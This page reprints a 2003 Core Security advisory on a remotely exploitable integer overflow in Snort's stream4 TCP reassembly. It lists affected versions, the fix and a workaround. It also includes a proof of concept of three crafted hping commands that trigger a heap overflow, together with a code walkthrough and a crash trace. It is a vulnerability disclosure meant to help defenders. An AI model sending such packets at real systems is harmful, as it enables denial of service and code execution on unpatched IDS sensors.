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Home » Hacking News » CORE 2003-0307: Snort TCP stream reassembly integer overflow

CORE 2003-0307: Snort TCP stream reassembly integer overflow

by Nikola Strahija on April 16th, 2003 A vulnerability has been found in snort which, if exploited, could allow a remote attacker to cause denial-of-service attack and to run arbitrary code.

Core Security Technologies Advisory

Snort TCP Stream Reassembly Integer Overflow Vulnerability

Date Published: 2003-04-15

Last Update: 2003-04-15

Advisory ID: CORE-2003-0307

Bugtraq ID: 7178

CVE Name: None currently assigned

Title: Snort TCP Stream Reassembly Integer Overflow Vulnerability

Class: Failure to handle exceptional conditions

Remotely Exploitable: Yes

Locally Exploitable: No

Advisory URL:


*Vulnerability Description*

Snort is a very popular open source network intrusion detection
system. It can detect hundreds of different attacks by analyzing
packets received on the network and applying a database of pattern
matching rules. Snort also comes with modules and plugins that
perform a variety of functions such as protocol analysis, output,
and logging. For more information about Snort visit

The stream4 preprocessor module is a Snort plugin that reassembles
TCP traffic before passing it on to be analyzed. It also detects
several types of IDS evasion attacks.

We have discovered an exploitable heap overflow in this module
resulting from sequence number calculations that overflow a
32 bit integer variable.

To exploit this vulnerability an attacker does not need to know on
which host the Snort sensor is running. It is only necessary to
guess where to send traffic that the Snort sensor will 'see' and

Successful exploitation of this vulnerability could lead to
execution of arbitrary commands on a system running the Snort sensor
with the privileges of the user running the snort process (usually
root), a denial of service attack against the snort sensor and
possibly the implementation of IDS evasion techniques that would
prevent the sensor from detecting attacks on the monitored network.

*Vulnerable packages:*

. Snort 2.0 versions prior to RC1
. Snort 1.9.x
. Snort 1.8.x
. IDSes and other security appliances using snort technology embedded.

*Solution/Vendor Information/Workaround:*

Snort 2.0 released on April 14th, is available and includes fixes
to the vulnerability reported in this advisory.

The source code package for Snort 2.0 can be obtained from

Binaries can be obtained from

A workaround for this bug is to disable the TCP stream reassembly
module. This can be done by commenting out the following line from
your Snort configuration file (usually 'snort.conf') and sending
a SIGHUP signal to the running Snort process:

preprocessor stream4_reassemble

Although this will prevent the vulnerability from being exploited it
will make it possible to easily evade the IDS by fragmenting attacks
across multiple TCP segments.


This vulnerability was discovered by Bruce Leidl, Juan Pablo Martinez
Kuhn and Alejandro David Weil from Core Security Technologies during
Bugweek 2003 (March 3-7, 2003).

We would like to thank Marty Roesch from Sourcefire Inc. for
addressing this issue and fixing the problem in Snort.

*Technical Description - Exploit/Concept Code:*

The vulnerability can be demonstrated by sending some specially crafted
packets with the free command line packet creating utility called hping
which you can download from

In the following example and are both hosts
that actually exist and are on a network monitored by the Snort sensor.

Two packets are sent from to port 111 on host
and then one packet is sent back to host from

hping -a -s 3339 -p 111 --ack --rst -c 1 -d 0x1 --setseq 0xffff0023 --setack 0xc0c4c014

hping -a -s 3339 -p 111 --ack --rst -c 1 -d 0xF00 --setseq 0xffffffff --setack 0xc0c4c014

hping -a -s 111 -p 3339 --ack -c 1 -d 0 --setseq 0xc0c4c014 --setack 0xffffffff

The first packet sets up a new Session structure in the stream4 module
and the important detail is that the base_seq in the client Stream is
set to 0xffff0023.

The second packet sends 3840 bytes of data in a large fragmented IP
datagram. This adds a packet with the sequence number 0xffffffff to the
tree of stream data to be reassembled.

The last packet sets the last_ack of the client stream to 0xffffffff
and since the difference between the base_seq and the last_ack of the
client stream is very large it is flushed for analysis.

When the stream is reassembled and the second large packet is added,
the stream is set up with these values in TraverseFunc() in

s->base_seq = 0xffff0023
s->next_seq = 0xffff0024
s->last_ack = 0xffffffff

The packet itself has these values

spd->seq_num = 0xffffffff
spd->payload_size = 0xf00

The first sanity check makes sure that the packet sequence number is
between the base_seq and last_ack values for the stream


if(spd->seq_num < s->base_seq || spd->seq_num > s->last_ack)

This condition must evaluate to FALSE or the function returns.

Then there is a check that is supposed to detect conditions that would
overflow the buffer so that later code can handle it by truncating
the data.

The packet sequence number must be greater than both the base_seq and
next_seq for the stream

spd->seq_num >= s->base_seq &&
spd->seq_num >= s->next_seq &&

This condition is supposed to detect a packet that will overflow the
buffer (since the difference between base_seq and last_ack has already
been verified to be smaller than the buffer size). However, if
(spd->seq_num + spd->payload_size) overflows a 32 bit integer value
the expression evaluates to a small integer and the condition is passed.

(spd->seq_num + spd->payload_size) <= s->last_ack

Then the offset in the buffer to copy the packet to is calculated.
With our values, this becomes 0xffdc which is near to the end of

offset = spd->seq_num - s->base_seq (offset = 0xffdc)

This memcpy() copies spd->payload_size (0xf00) bytes of data starting at
buf + offset (near the end of the buffer) overflowing into the heap.

memcpy(buf + offset, spd->payload, spd->payload_size)

On our Linux build of Snort 1.9.0 this overflow conveniently overwrites a
function pointer that is called immediately after the reassembly
preprocessor returns:

80 while(idx != NULL)
82 assert(idx->func != NULL);
83 idx->func(p);

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()

We have successfully exploited this vulnerability and produced an exploit
that functions on several different binaries of Snort 1.9.0 and 1.9.1. It
is available as a module for our penetration testing product Core Impact.

*About Core Security Technologies*

Core Security Technologies develops strategic security solutions for
Fortune 1000 corporations, government agencies and military
organizations. The company offers information security software and
services designed to assess risk and protect and manage information assets.

Headquartered in Boston, MA, Core Security Technologies can be reached at
617-399-6980 or on the Web at

To learn more about CORE IMPACT, the first comprehensive penetration
testing framework, visit


The contents of this advisory are copyright (c) 2003 CORE Security Technologies
and may be distributed freely provided that no fee is charged for this
distribution and proper credit is given.

$Id: snort-stream4-advisory.txt,v 1.7 2003/04/15 18:49:01 carlos Exp $

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